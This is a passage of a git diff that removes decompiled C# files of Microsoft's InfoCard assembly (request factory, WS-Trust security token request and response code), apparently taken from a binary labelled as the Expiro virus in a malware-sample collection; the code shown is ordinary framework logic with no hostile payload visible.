RequestFactory.RequestName.BeginSelectCardRequest: - agentRequestInstance = (UIAgentRequest) new BeginSelectCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.CancelAsyncOperationRequest: - agentRequestInstance = (UIAgentRequest) new CancelAsyncOperationRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.CreateCardRequest: - agentRequestInstance = (UIAgentRequest) new CreateCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.CheckStoreFileValidityRequest: - agentRequestInstance = (UIAgentRequest) new CheckStoreFileValidityRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.DeleteCardRequest: - agentRequestInstance = (UIAgentRequest) new DeleteCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.DeleteStoreRequest: - agentRequestInstance = (UIAgentRequest) new DeleteStoreRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.EndCreateSecurityTokenRequest: - agentRequestInstance = (UIAgentRequest) new EndCreateSecurityTokenRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.EndSelectCardRequest: - agentRequestInstance = (UIAgentRequest) new EndSelectCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.ExportFileRequest: - agentRequestInstance = (UIAgentRequest) new ExportFileRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetCertificateRequest: - agentRequestInstance = (UIAgentRequest) new GetCertificateRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetImportedCardRequest: - agentRequestInstance = (UIAgentRequest) new GetImportedCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetImportFileNameRequest: - agentRequestInstance = (UIAgentRequest) new GetImportFileNameRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetLedgerEntryForRecipientRequest: - agentRequestInstance = (UIAgentRequest) new GetLedgerEntryForRecipientRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetLedgerRequest: - agentRequestInstance = (UIAgentRequest) new GetLedgerRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetPolicyDetailsRequest: - agentRequestInstance = (UIAgentRequest) new GetPolicyDetailsRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetRecipientListRequest: - agentRequestInstance = (UIAgentRequest) new GetRecipientListRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetRecipientRequest: - agentRequestInstance = (UIAgentRequest) new GetRecipientRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetUserPreferenceRequest: - agentRequestInstance = (UIAgentRequest) new GetUserPreferenceRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.ImportFileRequest: - agentRequestInstance = (UIAgentRequest) new ImportFileRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.InfoCardListRequest: - agentRequestInstance = (UIAgentRequest) new InfoCardListRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.ListCardsInFileRequest: - agentRequestInstance = (UIAgentRequest) new ListCardsInFileRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.QueryStoreStatusRequest: - agentRequestInstance = (UIAgentRequest) new QueryStoreStatusRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.ResolvePPIDRequest: - agentRequestInstance = (UIAgentRequest) new ResolvePPIDRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.SaveCardRequest: - agentRequestInstance = (UIAgentRequest) new SaveCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.SaveLedgerEntryRequest: - agentRequestInstance = (UIAgentRequest) new SaveLedgerEntryRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.SaveRecipientRequest: - agentRequestInstance = (UIAgentRequest) new SaveRecipientRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.SendAgentStatusRequest: - agentRequestInstance = (UIAgentRequest) new SendAgentStatusRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.SetUserPreferenceRequest: - agentRequestInstance = (UIAgentRequest) new SetUserPreferenceRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.UIEndRequest: - agentRequestInstance = (UIAgentRequest) new UIEndRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.BeginGetFileNameFromUserRequest: - agentRequestInstance = (UIAgentRequest) new BeginGetFileNameFromUserRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.EndGetFileNameFromUserRequest: - agentRequestInstance = (UIAgentRequest) new EndGetFileNameFromUserRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.ListDependantCardsRequest: - agentRequestInstance = (UIAgentRequest) new ListDependantCardsRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetLastErrorDetailsRequest: - agentRequestInstance = (UIAgentRequest) new GetLastErrorDetailsRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetIsBrowserClientRequest: - agentRequestInstance = (UIAgentRequest) new GetIsBrowserClientRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.SetUserLanguageRequest: - agentRequestInstance = (UIAgentRequest) new SetUserLanguageRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.GetCardDetailsRequest: - agentRequestInstance = (UIAgentRequest) new GetCardDetailsRequest(rpcHandle, inStream, outStream, parentRequest); - break; - case RequestFactory.RequestName.UnlockCardRequest: - agentRequestInstance = (UIAgentRequest) new UnlockCardRequest(rpcHandle, inStream, outStream, parentRequest); - break; - default: - throw InfoCardTrace.ThrowHelperError((Exception) new CommunicationException()); - } - agentRequestInstance.Initialize(); - } - return agentRequestInstance; - } - - private enum RequestName - { - CloseCryptoHandleRequest = 0, - DecryptRequest = 1, - EncryptRequest = 2, - GenerateDerivedKeyRequest = 3, - GetBrowserTokenRequest = 4, - GetCryptoTransformRequest = 5, - GetKeyedHashRequest = 6, - GetTokenRequest = 7, - HashCoreRequest = 8, - HashFinalRequest = 9, - ImportRequest = 10, // 0x0000000A - ManageRequest = 11, // 0x0000000B - SignHashRequest = 12, // 0x0000000C - TransformBlockRequest = 13, // 0x0000000D - TransformFinalBlockRequest = 14, // 0x0000000E - VerifyHashRequest = 15, // 0x0000000F - ClientRequestCount = 16, // 0x00000010 - AgentRequestCount = 38, // 0x00000026 - BeginCreateSecurityTokenRequest = 128, // 0x00000080 - BeginSelectCardRequest = 129, // 0x00000081 - CancelAsyncOperationRequest = 130, // 0x00000082 - CreateCardRequest = 131, // 0x00000083 - CheckStoreFileValidityRequest = 132, // 0x00000084 - DeleteCardRequest = 133, // 0x00000085 - DeleteStoreRequest = 134, // 0x00000086 - EndCreateSecurityTokenRequest = 135, // 0x00000087 - EndSelectCardRequest = 136, // 0x00000088 - ExportFileRequest = 137, // 0x00000089 - GetCertificateRequest = 138, // 0x0000008A - GetImportedCardRequest = 139, // 0x0000008B - GetImportFileNameRequest = 140, // 0x0000008C - GetLedgerEntryForRecipientRequest = 141, // 0x0000008D - GetLedgerRequest = 142, // 0x0000008E - GetPolicyDetailsRequest = 143, // 0x0000008F - GetRecipientListRequest = 144, // 0x00000090 - GetRecipientRequest = 145, // 0x00000091 - GetUserPreferenceRequest = 146, // 0x00000092 - ImportFileRequest = 147, // 0x00000093 - InfoCardListRequest = 148, // 0x00000094 - ListCardsInFileRequest = 149, // 0x00000095 - QueryStoreStatusRequest = 150, // 0x00000096 - ResolvePPIDRequest = 151, // 0x00000097 - SaveCardRequest = 152, // 0x00000098 - SaveLedgerEntryRequest = 153, // 0x00000099 - SaveRecipientRequest = 154, // 0x0000009A - SendAgentStatusRequest = 155, // 0x0000009B - SetUserPreferenceRequest = 156, // 0x0000009C - UIEndRequest = 157, // 0x0000009D - BeginGetFileNameFromUserRequest = 158, // 0x0000009E - EndGetFileNameFromUserRequest = 159, // 0x0000009F - ListDependantCardsRequest = 160, // 0x000000A0 - GetLastErrorDetailsRequest = 161, // 0x000000A1 - GetIsBrowserClientRequest = 162, // 0x000000A2 - SetUserLanguageRequest = 163, // 0x000000A3 - GetCardDetailsRequest = 164, // 0x000000A4 - UnlockCardRequest = 165, // 0x000000A5 - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestSecurityToken.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestSecurityToken.cs deleted file mode 100644 index 57e84ae5..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestSecurityToken.cs +++ /dev/null @@ -1,154 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestSecurityToken -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Globalization; -using System.ServiceModel.Channels; -using System.ServiceModel.Security.Tokens; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal abstract class RequestSecurityToken : BodyWriter - { - protected RequestSecurityTokenParameters m_rstParams; - protected RequestSecurityTokenSerializer m_serializer; - protected XmlDictionaryWriter m_xmlWriter; - - protected ProtocolProfile ProtocolVersionProfile => this.m_rstParams.Profile; - - protected InfoCardPolicy Policy => this.m_rstParams.Policy; - - protected RequestSecurityTokenSerializer Serializer - { - get => this.m_serializer; - set => this.m_serializer = value; - } - - protected XmlDictionaryWriter Writer - { - get => this.m_xmlWriter; - set => this.m_xmlWriter = value; - } - - protected string WstPrefix => this.ProtocolVersionProfile.WSTrust.DefaultPrefix; - - public RequestSecurityToken(RequestSecurityTokenParameters rstParams) - : base(false) - { - this.m_rstParams = rstParams; - } - - protected virtual void WriteRSTOpeningElement() - { - this.Writer.WriteStartElement(this.WstPrefix, this.ProtocolVersionProfile.WSTrust.RequestSecurityToken, this.ProtocolVersionProfile.WSTrust.Namespace); - this.Writer.WriteAttributeString(this.ProtocolVersionProfile.WSTrust.Context, (string) null, this.m_rstParams.Context); - } - - protected virtual void WriteInfoCardReferenceElement() - { - if (this.m_rstParams.Card == null) - return; - this.Serializer.WriteInfoCardReferenceElement(this.m_rstParams.Card); - } - - protected virtual void WriteKeyTypeElement() => this.Serializer.WriteKeyTypeElement(this.Policy.GetKeyTypeString()); - - protected virtual void WriteKeySupportingElements() - { - if (this.Policy.KeyType == SecurityKeyTypeInternal.SymmetricKey) - { - this.Serializer.WriteKeySizeElement(this.Policy.GetIntelligentKeySize(false).ToString((IFormatProvider) CultureInfo.InvariantCulture)); - InfoCardTrace.Assert(null != this.m_rstParams.ClientEntropyForSymmetric, "Should not be null"); - this.Serializer.WriteBinarySecretElement(new BinarySecretSecurityToken(this.m_rstParams.ClientEntropyForSymmetric)); - if (!string.IsNullOrEmpty(this.Policy.OptionalRstParams.EncryptWith)) - this.Serializer.WriteEncryptWithElement(this.Policy.OptionalRstParams.EncryptWith); - if (string.IsNullOrEmpty(this.Policy.OptionalRstParams.SignWith)) - return; - this.Serializer.WriteSignWithElement(this.Policy.OptionalRstParams.SignWith); - } - else if (SecurityKeyTypeInternal.AsymmetricKey == this.Policy.KeyType) - { - if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == this.ProtocolVersionProfile.WSTrust.Version && !string.IsNullOrEmpty(this.Policy.OptionalRstParams.KeyWrapAlgorithm)) - this.Serializer.WriteKeyWrapAlgorithmElement(this.Policy.OptionalRstParams.KeyWrapAlgorithm); - this.Serializer.WriteKeySizeElement(this.Policy.GetIntelligentKeySize(false).ToString((IFormatProvider) CultureInfo.InvariantCulture)); - InfoCardTrace.Assert(null != this.m_rstParams.RSAKey, "Should have been populated in asymmetric case"); - this.Serializer.WriteUseKeyElement(this.m_rstParams.RSAKey.GetXml()); - if (!string.IsNullOrEmpty(this.Policy.OptionalRstParams.EncryptWith)) - this.Serializer.WriteEncryptWithElement(this.Policy.OptionalRstParams.EncryptWith); - if (string.IsNullOrEmpty(this.Policy.OptionalRstParams.SignWith)) - return; - this.Serializer.WriteSignWithElement(this.Policy.OptionalRstParams.SignWith); - } - else - InfoCardTrace.Assert(SecurityKeyTypeInternal.NoKey == this.Policy.KeyType, "Should be no proof key"); - } - - protected virtual void WriteRequestTypeElement() - { - if (!string.IsNullOrEmpty(this.Policy.RequestType)) - this.Serializer.WriteRequestTypeElement(this.Policy.RequestType); - else - this.Serializer.WriteRequestTypeElement(this.ProtocolVersionProfile.WSTrust.IssueRequestType); - } - - protected virtual void WritePPIDElement() - { - if (this.m_rstParams.Card == null || !this.m_rstParams.Card.GetClaims().ContainsKey(InfoCardConstants.PPIDClaimsUri)) - return; - this.Serializer.WritePPIDElement(Utility.CreateHash(this.m_rstParams.Card.Key, Convert.FromBase64String(this.Policy.ImmediateTokenRecipient.GetOrganizationPPIDIdentifier()), this.m_rstParams.Card.HashSalt)); - } - - protected virtual void WriteEncryptionAlgorithmElement() - { - if (string.IsNullOrEmpty(this.Policy.OptionalRstParams.EncryptionAlgorithm)) - return; - this.Serializer.WriteEncryptionAlgorithmElement(this.Policy.OptionalRstParams.EncryptionAlgorithm); - } - - protected virtual void WriteClaimsElement() => this.Serializer.WriteClaimsElement(this.m_rstParams.DisclosedClaims, this.Policy.RequiredClaims, this.Policy.OptionalClaims); - - protected virtual void WriteDisplayTokenElement() - { - if (this.m_rstParams.Culture == null) - return; - this.Serializer.WriteDisplayTokenElement(this.m_rstParams.Culture); - } - - protected virtual void WriteTokenTypeElement() - { - if (string.IsNullOrEmpty(this.Policy.OptionalRstParams.TokenType)) - return; - this.Serializer.WriteTokenTypeElement(this.Policy.OptionalRstParams.TokenType); - } - - protected virtual void WritePassOnElements() => this.Policy.OptionalRstParams.WritePassOnElements(this.Writer, this.ProtocolVersionProfile); - - protected virtual void WriteUnprocessedPolicyElements() - { - if (this.Policy.UnprocessedPolicyElements == null || this.Policy.UnprocessedPolicyElements.Length <= 0L) - return; - this.Serializer.WriteUnprocessedPolicyElements(this.Policy.UnprocessedPolicyElements); - } - - protected abstract void WriteSecondaryParametersElement(); - - protected virtual void WriteEndElement() => this.Writer.WriteEndElement(); - - protected abstract void WriteAppliesToElement(); - - protected virtual void InitializeWriters(XmlDictionaryWriter writer) - { - this.Writer = writer; - this.Serializer = new RequestSecurityTokenSerializer((XmlWriter) writer, this.ProtocolVersionProfile); - } - - protected override void OnWriteBodyContents(XmlDictionaryWriter writer) => this.CustomWriteBodyContents(writer); - - protected abstract void CustomWriteBodyContents(XmlDictionaryWriter writer); - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestSecurityTokenForGetBrowserToken.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestSecurityTokenForGetBrowserToken.cs deleted file mode 100644 index 9a27efa7..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestSecurityTokenForGetBrowserToken.cs +++ /dev/null @@ -1,57 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestSecurityTokenForGetBrowserToken -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class RequestSecurityTokenForGetBrowserToken : RequestSecurityToken - { - public RequestSecurityTokenForGetBrowserToken(RequestSecurityTokenParameters rstParams) - : base(rstParams) - { - } - - protected override void WriteKeyTypeElement() - { - InfoCardTrace.Assert(this.ProtocolVersionProfile.WSTrust.KeyTypeBearer.ToString() == this.Policy.GetKeyTypeString(), "Only no proof key allowed in browser case"); - this.Serializer.WriteKeyTypeElement(this.Policy.GetKeyTypeString()); - } - - protected override void WriteRequestTypeElement() => this.Serializer.WriteRequestTypeElement(this.ProtocolVersionProfile.WSTrust.IssueRequestType); - - protected override void WriteAppliesToElement() => GetBrowserTokenRequest.WriteSourceUrlAppliesTo((XmlWriter) this.Writer, this.m_rstParams.BrowserTokenParams, this.ProtocolVersionProfile); - - protected override void WriteSecondaryParametersElement() - { - if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 != this.ProtocolVersionProfile.WSTrust.Version) - return; - bool flag = true; - if (this.Policy.OptionalClaims.Length > 0) - flag = this.m_rstParams.DiscloseOptionalClaims; - if (!flag) - return; - if (this.Policy.RelyingPartyPolicy != null) - this.Serializer.WriteSecondaryParametersElement(this.Policy.RelyingPartyPolicy.PolicyXml); - else - this.Serializer.WriteSecondaryParametersElement(this.Policy.ClientPolicy.PolicyXml); - } - - protected override void CustomWriteBodyContents(XmlDictionaryWriter writer) - { - this.InitializeWriters(writer); - this.WriteRSTOpeningElement(); - this.WriteKeyTypeElement(); - this.WriteRequestTypeElement(); - this.WriteAppliesToElement(); - this.WriteClaimsElement(); - this.WriteTokenTypeElement(); - this.WriteSecondaryParametersElement(); - this.WriteEndElement(); - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestSecurityTokenForRemoteTokenFactory.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestSecurityTokenForRemoteTokenFactory.cs deleted file mode 100644 index 7528f272..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestSecurityTokenForRemoteTokenFactory.cs +++ /dev/null @@ -1,88 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestSecurityTokenForRemoteTokenFactory -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal class RequestSecurityTokenForRemoteTokenFactory : RequestSecurityToken - { - public RequestSecurityTokenForRemoteTokenFactory(RequestSecurityTokenParameters rstParams) - : base(rstParams) - { - } - - protected override void WriteAppliesToElement() - { - switch (AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecisionForRst(this.Policy, this.m_rstParams.Card.RequireAppliesto)) - { - case AppliesToBehaviorDecision.SendRPAppliesTo: - this.Serializer.WriteAppliesToElement(this.Policy.PolicyAppliesTo, this.m_rstParams.Version); - break; - case AppliesToBehaviorDecision.SendCustomAppliesTo: - this.Serializer.WriteAppliesToElement(this.Policy.ImmediateTokenRecipient.Address, this.m_rstParams.Version); - break; - } - } - - protected override void WriteSecondaryParametersElement() - { - if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 != this.ProtocolVersionProfile.WSTrust.Version) - return; - bool flag = true; - if (this.Policy.OptionalClaims.Length > 0) - flag = this.m_rstParams.DiscloseOptionalClaims && !this.OptionalClaimsExceedCard(this.m_rstParams.Card, this.m_rstParams.Policy); - switch (AppliesToBehaviorDecisionTable.GetAppliesToBehaviorDecisionForRst(this.Policy, this.m_rstParams.Card.RequireAppliesto)) - { - case AppliesToBehaviorDecision.SendRPAppliesTo: - case AppliesToBehaviorDecision.SendCustomAppliesTo: - if (!flag) - break; - if (this.Policy.RelyingPartyPolicy != null) - { - this.Serializer.WriteSecondaryParametersElement(this.Policy.RelyingPartyPolicy.PolicyXml); - break; - } - this.Serializer.WriteSecondaryParametersElement(this.Policy.ClientPolicy.PolicyXml); - break; - default: - flag = false; - goto case AppliesToBehaviorDecision.SendRPAppliesTo; - } - } - - protected override void CustomWriteBodyContents(XmlDictionaryWriter writer) - { - this.InitializeWriters(writer); - this.WriteRSTOpeningElement(); - this.WriteRequestTypeElement(); - this.WriteInfoCardReferenceElement(); - this.WriteClaimsElement(); - this.WriteKeyTypeElement(); - this.WriteKeySupportingElements(); - this.WriteAppliesToElement(); - this.WritePPIDElement(); - this.WriteEncryptionAlgorithmElement(); - this.WritePassOnElements(); - this.WriteDisplayTokenElement(); - this.WriteUnprocessedPolicyElements(); - this.WriteSecondaryParametersElement(); - this.WriteEndElement(); - } - - private bool OptionalClaimsExceedCard(InfoCard card, InfoCardPolicy policy) - { - InfoCardClaimCollection claims = card.GetClaims(); - bool flag = false; - foreach (string optionalClaim in policy.OptionalClaims) - { - if (!claims.ContainsKey(optionalClaim)) - flag = true; - } - return flag; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestSecurityTokenParameters.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestSecurityTokenParameters.cs deleted file mode 100644 index d58e1fa1..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestSecurityTokenParameters.cs +++ /dev/null @@ -1,91 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestSecurityTokenParameters -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Globalization; -using System.Security.Cryptography.Xml; -using System.ServiceModel.Channels; - -namespace Microsoft.InfoCards -{ - internal class RequestSecurityTokenParameters - { - private AddressingVersion m_addressingVersion; - private GetBrowserTokenParameters m_browserTokenParams; - private InfoCardPolicy m_policy; - private InfoCard m_card; - private bool m_discloseOptionalClaims; - private RSAKeyValue m_rsaKeyValue; - private byte[] m_clientEntropyForSymmetric; - private CultureInfo m_cultureInfo; - private string m_context; - private Dictionary m_disclosedClaims; - private ProtocolProfile m_profile; - - public AddressingVersion Version => this.m_addressingVersion; - - public GetBrowserTokenParameters BrowserTokenParams => this.m_browserTokenParams; - - public InfoCardPolicy Policy => this.m_policy; - - public InfoCard Card => this.m_card; - - public bool DiscloseOptionalClaims => this.m_discloseOptionalClaims; - - public RSAKeyValue RSAKey => this.m_rsaKeyValue; - - public byte[] ClientEntropyForSymmetric => this.m_clientEntropyForSymmetric; - - public CultureInfo Culture => this.m_cultureInfo; - - public string Context => this.m_context; - - public Dictionary DisclosedClaims => this.m_disclosedClaims; - - public ProtocolProfile Profile => this.m_profile; - - public RequestSecurityTokenParameters( - AddressingVersion version, - InfoCard card, - InfoCardPolicy policy, - bool discloseOptionalClaims, - RSAKeyValue rsaKeyValue, - Dictionary disclosedClaims, - string context, - byte[] clientEntropyForSymmetric, - CultureInfo displayCulture) - { - this.m_card = card; - this.m_policy = policy; - this.m_discloseOptionalClaims = discloseOptionalClaims; - this.m_rsaKeyValue = rsaKeyValue; - this.m_clientEntropyForSymmetric = clientEntropyForSymmetric; - this.m_profile = policy.ProtocolVersionProfile; - InfoCardTrace.Assert(this.m_rsaKeyValue == null && this.m_clientEntropyForSymmetric != null || this.m_rsaKeyValue == null && this.m_clientEntropyForSymmetric == null || this.m_rsaKeyValue != null && null == this.m_clientEntropyForSymmetric, "The three allowed cases are symmetric, noProofKey, asymmetric"); - this.m_disclosedClaims = disclosedClaims; - this.m_addressingVersion = version; - this.m_context = context; - this.m_cultureInfo = displayCulture; - } - - public RequestSecurityTokenParameters( - AddressingVersion addressing, - GetBrowserTokenParameters parameters, - ProtocolProfile profile, - InfoCardPolicy policy, - bool discloseOptionalClaims) - { - this.m_browserTokenParams = parameters; - this.m_addressingVersion = addressing; - this.m_policy = policy; - this.m_discloseOptionalClaims = discloseOptionalClaims; - this.m_context = Guid.NewGuid().ToString(); - this.m_profile = profile; - } - } -} diff --git a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestSecurityTokenResponseHelper.cs b/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestSecurityTokenResponseHelper.cs deleted file mode 100644 index c18f2ebd..00000000 --- a/MSIL/Virus/Win32/E/Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07/Microsoft/InfoCards/RequestSecurityTokenResponseHelper.cs +++ /dev/null @@ -1,463 +0,0 @@ -// Decompiled with JetBrains decompiler -// Type: Microsoft.InfoCards.RequestSecurityTokenResponseHelper -// Assembly: infocard, Version=3.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 -// MVID: 516D8B44-4448-4D2C-8B8E-FFBB3FFE472B -// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Virus.Win32.Expiro.w-69bb73081eac86b8cf86f45e33515d0095855636967076e2b593d7a30cd80a07.exe - -using Microsoft.InfoCards.Diagnostics; -using System; -using System.Collections.Generic; -using System.Collections.ObjectModel; -using System.IdentityModel.Policy; -using System.IdentityModel.Selectors; -using System.IdentityModel.Tokens; -using System.Security.Cryptography; -using System.ServiceModel.Security.Tokens; -using System.Xml; - -namespace Microsoft.InfoCards -{ - internal static class RequestSecurityTokenResponseHelper - { - private static SecurityToken s_noProofToken = (SecurityToken) new UserNameSecurityToken("noproof", "noproof", "noproof"); - - private static RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse ReadRequestSecurityTokenResponse( - XmlDictionaryReader reader, - SecurityTokenSerializer tokenSerializer, - SecurityTokenResolver resolver, - ProtocolProfile profile) - { - InfoCardTrace.Assert(null != reader, "null reader"); - InfoCardTrace.Assert(null != tokenSerializer, "null tokenSerializer"); - RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse securityTokenResponse = new RequestSecurityTokenResponseHelper.RequestSecurityTokenResponse(); - if (XmlNames.WSSpecificationVersion.WSTrustOasis2007 == profile.WSTrust.Version) - reader.ReadFullStartElement(profile.WSTrust.RequestSecurityTokenResponseCollection, profile.WSTrust.Namespace); - reader.ReadFullStartElement(profile.WSTrust.RequestSecurityTokenResponse, profile.WSTrust.Namespace); - bool flag1 = false; - bool flag2 = false; - bool flag3 = false; - bool flag4 = false; - bool flag5 = false; - bool flag6 = false; - bool flag7 = false; - bool flag8 = false; - bool flag9 = false; - bool flag10 = false; - bool flag11 = false; - securityTokenResponse.Created = DateTime.UtcNow; - securityTokenResponse.Expires = new DateTime(DateTime.MaxValue.Ticks - TimeSpan.FromDays(2.0).Ticks, DateTimeKind.Utc); - if (!reader.IsStartElement()) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("ServiceSTSCommunicationFailed"))); - while (reader.IsStartElement()) - { - if (reader.IsStartElement(profile.WSTrust.TokenType, profile.WSTrust.Namespace)) - { - if (flag1) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleTokenTypeElementsFound"))); - securityTokenResponse.TokenType = reader.ReadElementString(); - flag1 = true; - } - else if (reader.IsStartElement(profile.WSTrust.KeySize, profile.WSTrust.Namespace)) - { - if (flag3) - throw InfoCardTrace.ThrowHelperError((Exception) new XmlException(SR.GetString("MultipleKeySizeElementsFound"))); - int num = reader.ReadElementContentAsInt(); - securityTokenResponse.KeySize = num > 0 ? num : throw InfoCardTrace.ThrowHelperError((Exception) new InvalidOperationException(SR.GetString("KeySizeMustBeGreaterThanZero"))); - flag3 = true; - } - else if (reader.IsStartElement(profile.WSTrust.KeyType, profile.WSTrust.Namespace)) - { - if (flag2) - throw InfoCardTrace.ThrowHelperError((Exception) new 